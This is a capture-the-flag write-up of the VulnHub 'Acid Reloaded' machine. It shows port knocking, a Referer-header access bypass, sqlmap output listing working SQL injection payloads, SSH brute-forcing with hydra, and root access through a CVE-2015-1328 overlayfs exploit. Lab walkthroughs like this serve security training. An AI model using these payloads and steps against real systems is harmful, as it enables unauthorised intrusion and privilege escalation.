Acid Reloaded VulnHub Writeup

  1. Service Discovery
  2. Port 33447 - speak friend, and enter
  3. /bin/error.php
  4. /bin/dashboard.php
  5. /bin/l33t_haxor.php
  6. /UB3R/strcpy.exe
  7. MySQL Shell
  8. hydra, you are my last hope
  9. makke
  10. Conclusion

The second machine in the ACid series from @m_avinash143. Let's get cracking!

Service Discovery

As usual, we start with an nmap scan. The initial scan only threw up port 22, so I perform a full TCP scan instead. This time we go two ports back, 22 as open, and 33447 as filtered.

22/tcp    open   ssh     OpenSSH 6.7p1 Ubuntu 5ubuntu1.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 cb:47:92:da:ea:b8:d3:82:16:22:0d:a5:5f:05:47:51 (DSA)
|   2048 fd:93:9d:28:57:fb:ef:e0:8e:f1:93:66:03:67:35:50 (RSA)
|_  256 a0:a6:52:fb:2c:32:b7:08:b4:ed:61:1d:2d:fa:c8:58 (ECDSA)
33447/tcp closed unknown

Since the only thing we've got to go on so far is port 22, I connect.

test@test-VirtualBox:/home/test# ssh
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is a0:a6:52:fb:2c:32:b7:08:b4:ed:61:1d:2d:fa:c8:58.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
    _    ____ ___ ____        ____  _____ _     ___    _    ____  _____ ____  
   / \  / ___|_ _|  _ \      |  _ \| ____| |   / _ \  / \  |  _ \| ____|  _ \
  / _ \| |    | || | | |_____| |_) |  _| | |  | | | |/ _ \ | | | |  _| | | | |
 / ___ \ |___ | || |_| |_____|  _ <| |___| |__| |_| / ___ \| |_| | |___| |_| |
/_/   \_\____|___|____/      |_| \_\_____|_____\___/_/   \_\____/|_____|____/

                                    -by Acid

Wanna Knock me out ???
3.2.1 Let's Start the Game.

The banner mentions the word knock – a reference to port knocking? That would explain why port 33447 returned as filtered, if it's being protected by knockd. Let's try using the sequence below as the knock sequence using the below bash script.

for ARG in "$@"
        nmap -Pn --host_timeout 100 --max-retries 0 -p $ARG $HOST

./ 3 2 1

Now that we've knocked, let's check port 33447 again.

test@test-VirtualBox:~/AcidReloaded$ nmap -p33447

Starting Nmap 6.49SVN ( ) at 2015-09-02 03:31 BST
Nmap scan report for
Host is up (0.0053s latency).
33447/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

Great! Port 33447 is now open to us. Let's move forward!

Port 33447 - speak friend, and enter

After opening port 33447 in a browser, we're presented with the following charming image.

Running the host through nikto gets us a little bit of information, including a directory named '/bin/', an internal IP address (just loopback), and a README file.

test@test-VirtualBox:~/AcidReloaded$ nikto -host -port 33447
- Nikto v2.1.5
+ Target IP:
+ Target Hostname:
+ Target Port:        33447
+ Start Time:         2015-09-02 03:36:12 (GMT1)
+ Server: Apache/2.4.10 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2aa 0x51e107200fa1d
+ The anti-clickjacking X-Frame-Options header is not present.
+ Cookie sec_session_id created without the httponly flag
+ IP address found in the 'location' header. The IP is "".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "".
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /bin/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6544 items checked: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2015-09-02 03:36:22 (GMT1) (10 seconds)
+ 1 host(s) tested

The README is just an Apache README. The IP address is not of much use to us, so I move on to the '/bin/' directory.

Upon visiting the /bin/ directory in a browser, we're presented with a login screen.

That's more like it! It looks like we're sending a POST request to '/bin/includes/validation.php' with an email address, and a SHA512 hash of the entered password. Firing up ZAP, we tamper with the request to test for SQLI. No luck – this doesn't appear to be vulnerable to SQLI.

Moving forward, I run dirbuster with a medium wordlist on the '/bin/' directory.

The results include a few interesting files, namely 'dashboard.php' and 'error.php'.


Within this page, is a style sheet, and within this style sheet is a comment.

Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses

Your email address will not be published. Required fields are marked *

After a quick Google, a reference to a blog post is thrown up. Noting for future reference.


After visiting '/bin/dashboard.php', we're presented with another page, with a rather funny image.

Looking at the source, there is a link to 'index.php', but that's not much use to us.

After running dirbuster recursively, I start to run out of steam. Looking at the work flow above, I'm guessing that '/bin/dashboard.php' would be accessed after logging in. If there's a link to 'dashboard.php' after you've successfully logged in, or a redirect, then there would be a 'Referer' header set in the request. Going through all the paths I currently know of, I hit on a different response when I use the 'Referer' header pointing to the path that the above login form is posting to – ''. This suggests that if we were to login successfully, 'validation.php' would redirect us to 'dashboard.php'. I enable the 'break on request' feature of OWASP ZAP and insert the header. In the response, in the browser, we're presented with the following. Progress!

On this page, there are links to a couple of scripts we've not seen before – '/bin/includes/logout.php' and '/bin/l33t_haxor.php'. The first does not sound of much interest, but the second.. that name rings a bell from the first Acid challenge.


Bringing up '/bin/l33t_haxor.php' in the browser results in an image that has inspired a generation.

Looking at the source of the response, there is a link to '/bin/l33t_haxor.php' with a parameter of 'id'. If we insert this parameter into the URL with a value of '1', the response changes to an enigmatic message.

Testing for SQLI, I insert a single, then a double quote into the parameter. Sure enough, we get an error message back.

Time to turn to our trusty friend, sqlmap.

A standard run stated that it MIGHT be injectable, but came back with nothing. After some manual testing, it appears a different page is returned if a space is contained within the 'id' parameter.

After using the '–tamper=space2comment' in sqlmap, we have a bit more luck.

test@test-VirtualBox:/opt/sqlmap$ python --url="*" --threads=10 --tamper=space2comment
 ___ ___| |_____ ___ ___  {1.0-dev-fb5a75c}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 04:27:24

[04:27:24] [INFO] loading tamper script 'space2comment'
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[04:27:25] [INFO] testing connection to the target URL
[04:27:25] [INFO] heuristics detected web page charset 'ascii'
[04:27:25] [INFO] testing if the target URL is stable
[04:27:26] [INFO] target URL is stable
[04:27:26] [INFO] testing if URI parameter '#1*' is dynamic
[04:27:26] [INFO] confirming that URI parameter '#1*' is dynamic
[04:27:26] [INFO] URI parameter '#1*' is dynamic
[04:27:26] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[04:27:26] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to XSS attacks
[04:27:26] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[04:27:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:27:29] [WARNING] reflective value(s) found and filtering out
[04:27:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[04:27:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[04:27:30] [INFO] URI parameter '#1*' seems to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
[04:27:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[04:27:30] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[04:27:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[04:27:30] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[04:27:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[04:27:30] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[04:27:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[04:27:30] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)'
[04:27:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[04:27:30] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)'
[04:27:30] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[04:27:30] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[04:27:30] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[04:27:30] [INFO] URI parameter '#1*' is 'MySQL OR error-based - WHERE or HAVING clause' injectable
[04:27:30] [INFO] testing 'MySQL inline queries'
[04:27:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[04:27:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[04:27:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[04:27:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:27:30] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[04:27:30] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[04:27:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[04:27:30] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT)'
[04:27:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[04:27:40] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)' injectable
[04:27:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:27:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[04:27:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:27:40] [INFO] target URL appears to be UNION injectable with 2 columns
[04:27:40] [INFO] URI parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[04:27:40] [WARNING] in OR boolean-based injections, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload:') OR 4659=4659#

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload:') OR 1 GROUP BY CONCAT(0x7171786b71,(SELECT (CASE WHEN (6682=6682) THEN 1 ELSE 0 END)),0x7162706b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload:') AND (SELECT * FROM (SELECT(SLEEP(5)))ZDXn)#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload:') UNION ALL SELECT NULL,CONCAT(0x7171786b71,0x504c474d4a48524e4752,0x7162706b71)#
[04:27:42] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[04:27:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.12
[04:27:42] [INFO] fetched data logged to text files under '/home/test/.sqlmap/output/'

[*] shutting down at 04:27:42

Checking which user we're running as, it appears as if we're the 'root' MySQL user. Great, that gives us free reign to browse the databases available to us.

There's not much of interest, apart from one thing, which is what appears to be a file path in a table name in the 'secure_login' database.

Database: secure_login

[4 tables]
| UB3R/strcpy.exe |
| login_attempts  |
| members         |
| word            |

Going on the authors prior propencity to scatter file paths around, I append this to the URL we've been exploring.

Voila! We have a binary to investigate (or what claims to be a binary!).


First things first – what kind of executable is this.

test@test-VirtualBox:~/AcidReloaded$ file strcpy.exe
strcpy.exe: PDF document, version 1.5

Oh.. sneaky sneaky. What we've actually got here is a PDF. Taking a deep breath, I open it.

Ok – let's run the file through strings, just in case we're missing something.

Amongst the 'noise', a glimmer of hope.

<</Size 23/Root 1 0 R/Info 10 0 R/ID[<785E9D493EFBA048B5A2BCCFC0272663><785E9D493EFBA048B5A2BCCFC0272663>] /Prev 108464/XRefStm 108177>>

You are at right track.
Don't loose hope..
Good Luck :-)
Kind & Best Regards,

Looks like this PDF holds a few secrets. Running foremost on the PDF file resulted in a number of files, one of which was a RAR. After extracting the RAR, I was given a TXT file stating I was on the right path, and a JPG. Going on the output of the 'strings' command on this second JPG, it smelt like it held more goodies. After running foremost on it, it resulted in a second RAR.

test@test-VirtualBox:~/AcidReloaded$ foremost strcpy.exe
Processing: strcpy.exe
test@test-VirtualBox:~/AcidReloaded$ cd output
test@test-VirtualBox:~/AcidReloaded/output$ ls
audit.txt  jpg  pdf  rar
test@test-VirtualBox:~/AcidReloaded/output$ cd rar
test@test-VirtualBox:~/AcidReloaded/output/rar$ unrar x 00000213.rar

UNRAR 5.21 freeware      Copyright (c) 1993-2015 Alexander Roshal

Extracting from 00000213.rar

Extracting  acid.txt                                                  OK
Extracting  lol.jpg                                                   OK
All OK
test@test-VirtualBox:~/AcidReloaded/output/rar$ file lol.jpg
lol.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 900x636, frames 3
test@test-VirtualBox:~/AcidReloaded/output/rar$ strings lol.jpg
\    '|!
`You have found a contact. Now, go and grab the details :-)
test@test-VirtualBox:~/AcidReloaded/output/rar$ foremost lol.jpg
Processing: lol.jpg
test@test-VirtualBox:~/AcidReloaded/output/rar$ cd output
test@test-VirtualBox:~/AcidReloaded/output/rar/output$ unrar x
jpg/ rar/
test@test-VirtualBox:~/AcidReloaded/output/rar/output$ cd rar
test@test-VirtualBox:~/AcidReloaded/output/rar/output/rar$ unrar x 00000117.rar

UNRAR 5.21 freeware      Copyright (c) 1993-2015 Alexander Roshal

Extracting from 00000117.rar

Extracting                                           OK
Extracting  hint.txt                                                  OK
All OK
test@test-VirtualBox:~/AcidReloaded/output/rar/output/rar$ cat hint.txt
You have found a contact. Now, go and grab the details :-)

Once this second RAR was extracted, we're presented with a file named '' and 'hint.txt'. The hint states that we should 'grab the details'. Let's take a look at that contact file.

<?xml version="1.0" encoding="UTF-8"?>
<c:contact xmlns:c="" xmlns:MSP2P="" xmlns:MSWABMAPI="" xmlns:xsi="" c:Version="1">
        <MSWABMAPI:PropTag0x3A58101F c:ContentType="binary/x-ms-wab-mapi" c:type="binary">AQAAABIAAABOAG8AbwBCAEAAMQAyADMAAAA=</MSWABMAPI:PropTag0x3A58101F>
        <c:ContactID c:ElementID="599ef753-f77f-4224-8700-e551bdc2bb1e">
        <c:EmailAddress c:ElementID="0745ffd4-ef0a-4c4f-b1b6-0ea38c65254e">
        <c:EmailAddress c:ElementID="594eec25-47bd-4290-bd96-a17448f7596a" xsi:nil="true" />
        <c:Name c:ElementID="318f9ce5-7a08-4ea0-8b6a-2ce3e9829ff2">
        <c:Person c:ElementID="865f9eda-796e-451a-92b1-bf8ee2172134">
        <c:Photo c:ElementID="2fb5b981-cec1-45d0-ae61-7c340cfb3d72">

Within the contact, we find the usual address, name..spouse..hmm. That may come in useful – all added to my wordlist. In addition, there's a Base64 string in the first element. Decoded, it equals 'NooB@123'. Not sure if it's taunting us, or if it could be of use. Again, added to my wordlist.

I think we've found everything there is to find in this EXE, so I decide to move on. Let's see if we can drop a shell via MySQL, and do some enumeration.

MySQL Shell

Unfortunately, this was a dead end. We do not have a stacked query SQLI vector available to us, and as such cannot 'SELECT xsy INTO OUTFILE', meaning we can't drop a shell via MySQL. Sad times.

hydra, you are my last hope

Putting together my word list, I ask hydra to bruteforce the only other service we have available to us – SSH.

test@test-VirtualBox:~/AcidReloaded$ cat wordlist.txt
test@test-VirtualBox:~/AcidReloaded$ hydra ssh -L wordlist.txt -P wordlist.txt -s 22
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2015-09-02 04:58:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 81 login tries (l:9/p:9), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: makke   password: NooB@123



After logging on and inspecting the .bash_history file, we note a few things. Firstly, a binary named 'overlayfs' was executed in the '/bin' directory.

makke@acid:~$ cat .bash_history
cd ..
cd /
cd bin/
cd /home/makke/
nano .hint
ls -a
cat .hint
cd /bin/
apt-get remove wget
su -

There's also a '.hint' file in the home directory, that states the following.

Run the executable to own the kingdom :-)

After running '/bin/overlayfs', we're presented with a root prompt. In the root directory is a hidden file named '.flag'.

makke@acid:~$ /bin/overlayfs
spawning threads
mount #1
mount #2
child threads done
/etc/ created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(makke)
# ls /root
# ls -alh /root
total 68K
drwx------  5 root root 4.0K Aug 24 21:32 .
drwxr-xr-x 22 root root 4.0K Aug 24 20:58 ..
-rw-------  1 root root  24K Aug 24 22:25 .bash_history
-rw-r--r--  1 root root 3.1K Aug  8 18:02 .bashrc
drwx------  2 root root 4.0K Aug 24 17:46 .cache
drwx------  3 root root 4.0K Aug  6 17:55 .config
drwx------  3 root root 4.0K Aug  6 15:51 .dbus
-rw-r--r--  1 root root  284 Aug 24 20:57 .flag.txt
-rw-------  1 root root 2.8K Aug 24 21:32 .mysql_history
-rw-------  1 root root  147 Aug 24 23:32 .nano_history
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-r--r--  1 root root   66 Aug  6 17:31 .selected_editor
# cat /root/.flag.txt
Dear Hax0r,

You have completed the Challenge Successfully.

Your Flag is : "Black@Current@Ice-Cream"

Kind & Best Regards




It looks like the binary we executed was in fact a PoC for CVE-2015-1328, which I find quite amusing as I actually tried to use this CVE in the previous machine, to no avail.

Thanks for another machine @m_avinash143, and as always, thanks VulnHub!